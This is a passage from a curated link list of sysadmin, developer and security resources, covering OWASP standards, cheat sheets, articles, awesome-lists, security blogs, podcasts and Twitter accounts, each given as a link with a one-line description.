href="https://www.owasp.org/index.php/Category:OWASP_Application_Security_Verification_Standard_Project"><b>OWASP ASVS 3.0.1</b></a> - OWASP Application Security Verification Standard Project.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Santandersecurityresearch/asvs"><b>OWASP ASVS 3.0.1 Web App</b></a> - simple web app that helps developers understand the ASVS requirements.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/OWASP/ASVS/tree/master/4.0"><b>OWASP ASVS 4.0</b></a> - is a list of application security requirements or tests.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_Testing_Project"><b>OWASP Testing Guide v4</b></a> - includes a "best practice" penetration testing framework.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/OWASP/DevGuide"><b>OWASP Dev Guide</b></a> - this is the development version of the OWASP Developer Guide.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/OWASP/wstg"><b>OWASP WSTG</b></a> - is a comprehensive open source guide to testing the security of web apps.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.owasp.org/index.php/OWASP_API_Security_Project"><b>OWASP API Security Project</b></a> - focuses specifically on the top ten vulnerabilities in API security.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://infosec.mozilla.org/guidelines/web_security.html"><b>Mozilla Web Security</b></a> - help operational teams with creating secure web applications.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Netflix/security-bulletins"><b>security-bulletins</b></a> - security bulletins that relate to Netflix Open Source.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/shieldfy/API-Security-Checklist"><b>API-Security-Checklist</b></a> - security countermeasures when designing, testing, and releasing your API.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://enable-cors.org/index.html"><b>Enable CORS</b></a> - enable cross-origin resource sharing.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://appsecwiki.com/#/"><b>Application Security Wiki</b></a> - is an initiative to provide all application security related resources at one place.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/GrrrDog/weird_proxies/wiki"><b>Weird Proxies</b></a> - reverse proxy related attacks; it is a result of analysis of various proxies.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://dfir.it/blog/2015/08/12/webshell-every-time-the-same-purpose/"><b>Webshells</b></a> - great series about malicious payloads.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://portswigger.net/blog/practical-web-cache-poisoning"><b>Practical Web Cache Poisoning</b></a> - show you how to compromise websites by using esoteric web features.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/bl4de/research/tree/master/hidden_directories_leaks"><b>Hidden directories and files</b></a> - as a source of sensitive information about web application.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://bo0om.ru/en/"><b>Explosive blog</b></a> - great blog about cybersec and pentests.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.netsparker.com/security-cookies-whitepaper/"><b>Security Cookies</b></a> - this paper will take a close look at cookie security.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/GitGuardian/APISecurityBestPractices"><b>APISecurityBestPractices</b></a> - help you keep secrets (API keys, db credentials, certificates) out of source code.<br> </p> ##### :black_small_square: All-in-one <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://lzone.de/cheat-sheet/"><b>LZone Cheat Sheets</b></a> - all cheat sheets.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/rstacruz/cheatsheets"><b>Dan’s Cheat Sheets’s</b></a> - massive cheat sheets documentation.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://devhints.io/"><b>Rico's cheatsheets</b></a> - this is a modest collection of cheatsheets.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://devdocs.io/"><b>DevDocs API</b></a> - combines multiple API documentations in a fast, organized, and searchable interface.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cheat.sh/"><b>cheat.sh</b></a> - the only cheat sheet you need.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://gnulinux.guru/"><b>gnulinux.guru</b></a> - collection of cheat sheets about bash, vim and networking.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://andreasbm.github.io/web-skills/"><b>Web Skills</b></a> - visual overview of useful skills to learn as a web developer.<br> </p> ##### :black_small_square: Ebooks <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/EbookFoundation/free-programming-books"><b>free-programming-books</b></a> - list of free learning resources in many languages.<br> </p> ##### :black_small_square: Other <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://bitvijays.github.io/LFC-VulnerableMachines.html"><b>CTF Series : Vulnerable Machines</b></a> - the steps below could be followed to find vulnerabilities and exploits.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/manoelt/50M_CTF_Writeup"><b>50M_CTF_Writeup</b></a> - $50 million CTF from Hackerone - writeup.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/j00ru/ctf-tasks"><b>ctf-tasks</b></a> - an archive of low-level CTF challenges developed over the years.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://hshrzd.wordpress.com/how-to-start/"><b>How to start RE/malware analysis?</b></a> - collection of some hints and useful links for the beginners.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.kegel.com/c10k.html"><b>The C10K problem</b></a> - it's time for web servers to handle ten thousand clients simultaneously, don't you think?<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://blog.benjojo.co.uk/post/why-is-ethernet-mtu-1500"><b>How 1500 bytes became the MTU of the internet</b></a> - great story about the Maximum Transmission Unit.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://poormansprofiler.org/"><b>poor man's profiler</b></a> - like dtrace's don't really provide methods to see what programs are blocking on.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://nickcraver.com/blog/2017/05/22/https-on-stack-overflow/"><b>HTTPS on Stack Overflow</b></a> - this is the story of a long journey regarding the implementation of SSL.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://drawings.jvns.ca/"><b>Julia's Drawings</b></a> - some drawings about programming and unix world, zines about systems & debugging tools.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/corkami/collisions"><b>Hash collisions</b></a> - this great repository is focused on hash collisions exploitation.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/in3rsha/sha256-animation"><b>sha256-animation</b></a> - animation of the SHA-256 hash function in your terminal.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://sha256algorithm.com/"><b>sha256algorithm</b></a> - sha256 algorithm explained online step by step visually.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://labs.ripe.net/Members/cteusche/bgp-meets-cat"><b>BGP Meets Cat</b></a> - after 3072 hours of manipulating BGP, Job Snijders has succeeded in drawing a Nyancat.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/benjojo/bgp-battleships"><b>bgp-battleships</b></a> - playing battleships over BGP.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/alex/what-happens-when"><b>What happens when...</b></a> - you type google.com into your browser and press enter?<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/vasanthk/how-web-works"><b>how-web-works</b></a> - based on the 'What happens when...' repository.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://robertheaton.com/2018/11/28/https-in-the-real-world/"><b>HTTPS in the real world</b></a> - great tutorial explain how HTTPS works in the real world.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://about.gitlab.com/2018/11/14/how-we-spent-two-weeks-hunting-an-nfs-bug/"><b>Gitlab and NFS bug</b></a> - how we spent two weeks hunting an NFS bug in the Linux kernel.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://about.gitlab.com/2017/02/10/postmortem-of-database-outage-of-january-31/"><b>Gitlab melts down</b></a> - postmortem on the database outage of January 31 2017 with the lessons we learned.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.catb.org/esr/faqs/hacker-howto.html"><b>How To Become A Hacker</b></a> - if you want to be a hacker, keep reading.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://ithare.com/infographics-operation-costs-in-cpu-clock-cycles/"><b>Operation Costs in CPU</b></a> - should help to estimate costs of certain operations in CPU clocks.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cstack.github.io/db_tutorial/"><b>Let's Build a Simple Database</b></a> - writing a sqlite clone from scratch in C.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://djhworld.github.io/post/2019/05/21/i-dont-know-how-cpus-work-so-i-simulated-one-in-code/"><b>simple-computer</b></a> - great resource to understand how computers work under the hood.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.troyhunt.com/working-with-154-million-records-on/"><b>The story of "Have I been pwned?"</b></a> - working with 154 million records on Azure Table Storage.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.top500.org/"><b>TOP500 Supercomputers</b></a> - shows the 500 most powerful commercially available computer systems known to us.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.shellntel.com/blog/2017/2/8/how-to-build-a-8-gpu-password-cracker"><b>How to build a 8 GPU password cracker</b></a> - any "black magic" or hours of frustration like desktop components do.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://home.cern/science/computing"><b>CERN Data Centre</b></a> - 3D visualizations of the CERN computing environments (and more).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://howfuckedismydatabase.com/"><b>How fucked is my database</b></a> - evaluate how fucked your database is with this handy website.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://krisbuytaert.be/blog/linux-troubleshooting-101-2016-edition/index.html"><b>Linux Troubleshooting 101 , 2016 Edition</b></a> - everything is a DNS Problem...<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://open.buffer.com/5-whys-process/"><b>Five Whys</b></a> - you know what the problem is, but you cannot solve it?<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://gvnshtn.com/maersk-me-notpetya/"><b>Maersk, me & notPetya</b></a> - how did ransomware successfully hijack hundreds of domain controllers?<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://howhttps.works/"><b>howhttps.works</b></a> - how HTTPS works ...in a comic!<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://howdns.works/"><b>howdns.works</b></a> - a fun and colorful explanation of how DNS works.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://postgresqlco.nf/en/doc/param/"><b>POSTGRESQLCO.NF</b></a> - your postgresql.conf documentation and recommendations.<br> </p> #### Inspiring Lists &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) ##### :black_small_square: SysOps/DevOps <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/kahun/awesome-sysadmin"><b>Awesome Sysadmin</b></a> - amazingly awesome open source sysadmin resources.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/alebcay/awesome-shell"><b>Awesome Shell</b></a> - awesome command-line frameworks, toolkits, guides and gizmos.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/learnbyexample/Command-line-text-processing"><b>Command-line-text-processing</b></a> - finding text to search and replace, sorting to beautifying, and more.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/caesar0301/awesome-pcaptools"><b>Awesome Pcaptools</b></a> - collection of tools developed by other researchers to process network traces.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/zoidbergwill/awesome-ebpf"><b>awesome-ebpf</b></a> - a curated list of awesome projects related to eBPF.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/leandromoreira/linux-network-performance-parameters"><b>Linux Network Performance</b></a> - where some of the network sysctl variables fit into the Linux/Kernel network flow.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/dhamaniasad/awesome-postgres"><b>Awesome Postgres</b></a> - list of awesome PostgreSQL software, libraries, tools and resources.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/enochtangg/quick-SQL-cheatsheet"><b>quick-SQL-cheatsheet</b></a> - a quick reminder of all SQL queries and examples on how to use them.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Kickball/awesome-selfhosted"><b>Awesome-Selfhosted</b></a> - list of Free Software network services and web applications which can be hosted locally.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://wiki.archlinux.org/index.php/List_of_applications"><b>List of applications</b></a> - huge list of apps sorted by category, as a reference for those looking for packages.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/InterviewMap/CS-Interview-Knowledge-Map"><b>CS-Interview-Knowledge-Map</b></a> - build the best interview map.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Tikam02/DevOps-Guide"><b>DevOps-Guide</b></a> - DevOps Guide from basic to advanced with Interview Questions and Notes.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://issue.freebsdfoundation.org/publication/?m=33057&l=1&view=issuelistBrowser"><b>FreeBSD Journal</b></a> - it is a great list of periodical magazines about FreeBSD and other important things.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/bregman-arie/devops-interview-questions"><b>devops-interview-questions</b></a> - contains interview questions on various DevOps and SRE related topics.<br></p> ##### :black_small_square: Developers <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/kamranahmedse/developer-roadmap"><b>Web Developer Roadmap</b></a> - roadmaps, articles and resources to help you choose your path, learn and improve.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/thedaviddias/Front-End-Checklist"><b>Front-End-Checklist</b></a> - the perfect Front-End Checklist for modern websites and meticulous developers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/thedaviddias/Front-End-Performance-Checklist"><b>Front-End-Performance-Checklist</b></a> - Front-End Performance Checklist that runs faster than the others.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://rszalski.github.io/magicmethods/"><b>Python's Magic Methods</b></a> - what are magic methods? They're everything in object-oriented Python.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/satwikkansal/wtfpython"><b>wtfpython</b></a> - a collection of surprising Python snippets and lesser-known features.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/twhite96/js-dev-reads"><b>js-dev-reads</b></a> - a list of books and articles for the discerning web developer to read.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/RomuloOliveira/commit-messages-guide"><b>Commit messages guide</b></a> - a guide to understand the importance of commit messages.<br> </p> ##### :black_small_square: Security/Pentesting <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/qazbnm456/awesome-web-security"><b>Awesome Web Security</b></a> - a curated list of Web Security materials and resources.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/joe-shenouda/awesome-cyber-skills"><b>awesome-cyber-skills</b></a> - a curated list of hacking environments where you can train your cyber skills.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/devsecops/awesome-devsecops"><b>awesome-devsecops</b></a> - an authoritative list of awesome devsecops tools.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/jivoi/awesome-osint"><b>awesome-osint</b></a> - is a curated list of amazingly awesome OSINT.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/HolyBugx/HolyTips"><b>HolyTips</b></a> - tips and tutorials on Bug Bounty Hunting and Web App Security.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/hslatman/awesome-threat-intelligence"><b>awesome-threat-intelligence</b></a> - a curated list of Awesome Threat Intelligence resources.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/infosecn1nja/Red-Teaming-Toolkit"><b>Red-Teaming-Toolkit</b></a> - a collection of open source and commercial tools that aid in red team operations.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/snoopysecurity/awesome-burp-extensions"><b>awesome-burp-extensions</b></a> - a curated list of amazingly awesome Burp Extensions.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Hack-with-Github/Free-Security-eBooks"><b>Free Security eBooks</b></a> - list of a Free Security and Hacking eBooks.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/yeahhub/Hacking-Security-Ebooks"><b>Hacking-Security-Ebooks</b></a> - top 100 Hacking & Security E-Books.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/nikitavoloboev/privacy-respecting"><b>privacy-respecting</b></a> - curated list of privacy respecting services and software.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/wtsxDev/reverse-engineering"><b>reverse-engineering</b></a> - list of awesome reverse engineering resources.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/michalmalik/linux-re-101"><b>linux-re-101</b></a> - a collection of resources for linux reverse engineering.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/onethawt/reverseengineering-reading-list"><b>reverseengineering-reading-list</b></a> - a list of Reverse Engineering articles, books, and papers.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/0xInfection/Awesome-WAF"><b>Awesome-WAF</b></a> - a curated list of awesome web-app firewall (WAF) stuff.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/jakejarvis/awesome-shodan-queries"><b>awesome-shodan-queries</b></a> - interesting, funny, and depressing search queries to plug into shodan.io.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/danielmiessler/RobotsDisallowed"><b>RobotsDisallowed</b></a> - a curated list of the most common and most interesting robots.txt disallowed directories.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Kayzaks/HackingNeuralNetworks"><b>HackingNeuralNetworks</b></a> - is a small course on exploiting and defending neural networks.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://gist.github.com/joepie91/7e5cad8c0726fd6a5e90360a754fc568"><b>wildcard-certificates</b></a> - why you probably shouldn't use a wildcard certificate.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://gist.github.com/joepie91/5a9909939e6ce7d09e29"><b>Don't use VPN services</b></a> - which is what every third-party "VPN provider" does.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/InQuest/awesome-yara"><b>awesome-yara</b></a> - a curated list of awesome YARA rules, tools, and people.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/drduh/macOS-Security-and-Privacy-Guide"><b>macOS-Security-and-Privacy-Guide</b></a> - guide to securing and improving privacy on macOS.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/usnistgov/macos_security"><b>macos_security</b></a> - macOS Security Compliance Project.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/PaulSec/awesome-sec-talks"><b>awesome-sec-talks</b></a> - is a collected list of awesome security talks.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/k4m4/movies-for-hackers"><b>Movies for Hackers</b></a> - list of movies every hacker & cyberpunk must watch.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/danieldizzy/Cryptography_1"><b>Cryptography_1</b></a> - materials used whilst taking Prof. Dan Boneh Stanford Crypto course.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/ashutosh1206/Crypton"><b>Crypton</b></a> - library to learn and practice Offensive and Defensive Cryptography.<br> </p> ##### :black_small_square: Other <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.cheatography.com/"><b>Cheatography</b></a> - over 3,000 free cheat sheets, revision aids and quick references.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/mre/awesome-static-analysis"><b>awesome-static-analysis</b></a> - static analysis tools for all programming languages.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/ossu/computer-science"><b>computer-science</b></a> - path to a free self-taught education in Computer Science.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/danluu/post-mortems"><b>post-mortems</b></a> - is a collection of postmortems (config errors, hardware failures, and more).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/danistefanovic/build-your-own-x"><b>build-your-own-x</b></a> - build your own (insert technology here).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/rby90/Project-Based-Tutorials-in-C"><b>Project-Based-Tutorials-in-C</b></a> - is a curated list of project-based tutorials in C.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/kylelobo/The-Documentation-Compendium"><b>The-Documentation-Compendium</b></a> - various README templates & tips on writing high-quality documentation.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/mahmoud/awesome-python-applications"><b>awesome-python-applications</b></a> - free software that works great, and also happens to be open-source Python.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/awesomedata/awesome-public-datasets"><b>awesome-public-datasets</b></a> - a topic-centric list of HQ open datasets.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://github.com/Sahith02/machine-learning-algorithms"><b>machine-learning-algorithms</b></a> - a curated list of all machine learning algorithms and concepts.<br> </p> #### Blogs/Podcasts/Videos &nbsp;[<sup>[TOC]</sup>](#anger-table-of-contents) ##### :black_small_square: SysOps/DevOps <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.youtube.com/watch?v=nAFpkV5-vuI"><b>Varnish for PHP developers</b></a> - very interesting presentation of Varnish by Mattias Geniar.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.youtube.com/watch?v=CZ3wIuvmHeM"><b>A Netflix Guide to Microservices</b></a> - talks about the chaotic and vibrant world of microservices at Netflix.<br> </p> ##### :black_small_square: Developers <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.youtube.com/watch?v=yOyaJXpAYZQ"><b>Comparing C to machine lang</b></a> - compare a simple C app with the compiled machine code of that program.<br> </p> ##### :black_small_square: Geeky Persons <p> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.brendangregg.com/"><b>Brendan Gregg's Blog</b></a> - is an industry expert in computing performance and cloud computing.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://gynvael.coldwind.pl/"><b>Gynvael "GynDream" Coldwind</b></a> - is a IT security engineer at Google.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://lcamtuf.coredump.cx/"><b>Michał "lcamtuf" Zalewski</b></a> - white hat hacker, computer security expert.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://ma.ttias.be/"><b>Mattias Geniar</b></a> - developer, sysadmin, blogger, podcaster and public speaker.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://nickcraver.com/"><b>Nick Craver</b></a> - software developer and systems administrator for Stack Exchange.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://scotthelme.co.uk/"><b>Scott Helme</b></a> - security researcher, speaker and founder of securityheaders.com and report-uri.com.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://krebsonsecurity.com/"><b>Brian Krebs</b></a> - The Washington Post and now an Independent investigative journalist.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.schneier.com/"><b>Bruce Schneier</b></a> - is an internationally renowned security technologist, called a "security guru".<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://chrissymorgan.co.uk/"><b>Chrissy Morgan</b></a> - advocate of practical learning, Chrissy also takes part in bug bounty programs.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://blog.zsec.uk/"><b>Andy Gill</b></a> - is a hacker at heart who works as a senior penetration tester.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://danielmiessler.com/"><b>Daniel Miessler</b></a> - cybersecurity expert and writer.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://samy.pl/"><b>Samy Kamkar</b></a> - is an American privacy and security researcher, computer hacker.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.j4vv4d.com/"><b>Javvad Malik</b></a> - is a security advocate at AlienVault, a blogger event speaker and industry commentator.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.grahamcluley.com/"><b>Graham Cluley</b></a> - public speaker and independent computer security analyst.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://security.szurek.pl/"><b>Kacper Szurek</b></a> - detection engineer at ESET.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.troyhunt.com/"><b>Troy Hunt</b></a> - web security expert known for public education and outreach on security topics.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://raymii.org/s/index.html"><b>raymii.org</b></a> - sysadmin specializing in building high availability cloud environments.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://robert.penz.name/"><b>Robert Penz</b></a> - IT security expert.<br> </p> ##### :black_small_square: Geeky Blogs <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://linux-audit.com/"><b>Linux Audit</b></a> - the Linux security blog about auditing, hardening and compliance by Michael Boelen.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://linuxsecurity.expert/"><b> Linux Security Expert</b></a> - trainings, howtos, checklists, security tools, and more.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="http://www.grymoire.com/"><b>The Grymoire</b></a> - collection of useful incantations for wizards, be you computer wizards, magicians, or whatever.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.secjuice.com"><b>Secjuice</b></a> - is the only non-profit, independent and volunteer led publication in the information security space.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://duo.com/decipher"><b>Decipher</b></a> - security news that informs and inspires.<br> </p> ##### :black_small_square: Geeky Vendor Blogs <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.tenable.com/podcast"><b>Tenable Podcast</b></a> - conversations and interviews related to Cyber Exposure, and more.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://nakedsecurity.sophos.com/"><b>Sophos</b></a> - threat news room, giving you news, opinion, advice and research on computer security issues.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.tripwire.com/state-of-security/"><b>Tripwire State of Security</b></a> - blog featuring the latest news, trends and insights on current security issues.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://blog.malwarebytes.com/"><b>Malwarebytes Labs Blog</b></a> - security blog aims to provide insider news about cybersecurity.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.trustedsec.com/category/articles/"><b>TrustedSec</b></a> - latest news, and trends about cybersecurity.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://portswigger.net/blog"><b>PortSwigger Web Security Blog</b></a> - about web app security vulns and top tips from our team of web security.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.alienvault.com/blogs"><b>AT&T Cybersecurity blog</b></a> - news on emerging threats and practical advice to simplify threat detection.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://thycotic.com/company/blog/"><b>Thycotic</b></a> - where CISOs and IT Admins come to learn about industry trends, IT security, and more.<br> </p> ##### :black_small_square: Geeky Cybersecurity Podcasts <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://risky.biz/netcasts/risky-business/"><b>Risky Business</b></a> - is a weekly information security podcast featuring news and in-depth interviews.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.vice.com/en_us/topic/cyber"><b>Cyber, by Motherboard</b></a> - stories, and focus on the ideas about cybersecurity.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.tenable.com/podcast"><b>Tenable Podcast</b></a> - conversations and interviews related to Cyber Exposure, and more.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://podcasts.apple.com/gb/podcast/cybercrime-investigations/id1428801405"><b> Cybercrime Investigations</b></a> - podcast by Geoff White about cybercrimes.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://themanyhats.club/tag/episodes/"><b>The many hats club</b></a> - featuring stories from a wide range of Infosec people (Whitehat, Greyhat and Blackhat).<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://darknetdiaries.com/"><b>Darknet Diaries</b></a> - true stories from the dark side of the Internet.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.youtube.com/playlist?list=PL423I_gHbWUXah3dmt_q_XNp0NlGAKjis"><b>OSINTCurious Webcasts</b></a> - is the investigative curiosity that helps people be successful in OSINT.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.youtube.com/user/SecurityWeeklyTV"><b>Security Weekly</b></a> - the latest information security and hacking news.<br> </p> ##### :black_small_square: Geeky Cybersecurity Video Blogs <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.youtube.com/channel/UCzvJStjySZVvOBsPl-Vgj0g"><b>rev3rse security</b></a> - offensive, binary exploitation, web app security, hardening, red team, blue team.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.youtube.com/channel/UClcE-kVhqyiHCcjYwcpfj9w"><b>LiveOverflow</b></a> - a lot more advanced topics than what is typically offered in paid online courses - but for free.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://www.youtube.com/infoseccynic"><b>J4vv4D</b></a> - the important information regarding our internet security.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://cybertalks.co.uk/"><b> CyberTalks</b></a> - talks, interviews, and article about cybersecurity.<br> </p> ##### :black_small_square: Best Personal Twitter Accounts <p> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/blackroomsec"><b>@blackroomsec</b></a> - a white-hat hacker/pentester. Intergalactic Minesweeper Champion 1990.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/MarcoCiappelli"><b>@MarcoCiappelli</b></a> - Co-Founder @ITSPmagazine, at the intersection of IT security and society.<br> &nbsp;&nbsp;:small_orange_diamond: <a href="https://twitter.com/binitamshah"><b>@binitamshah</b></a> - Linux Evangelist. Malwares. Kernel Dev. Security Enthusiast.<br> &nbsp;&nbsp;:small_orange_diamond: <a 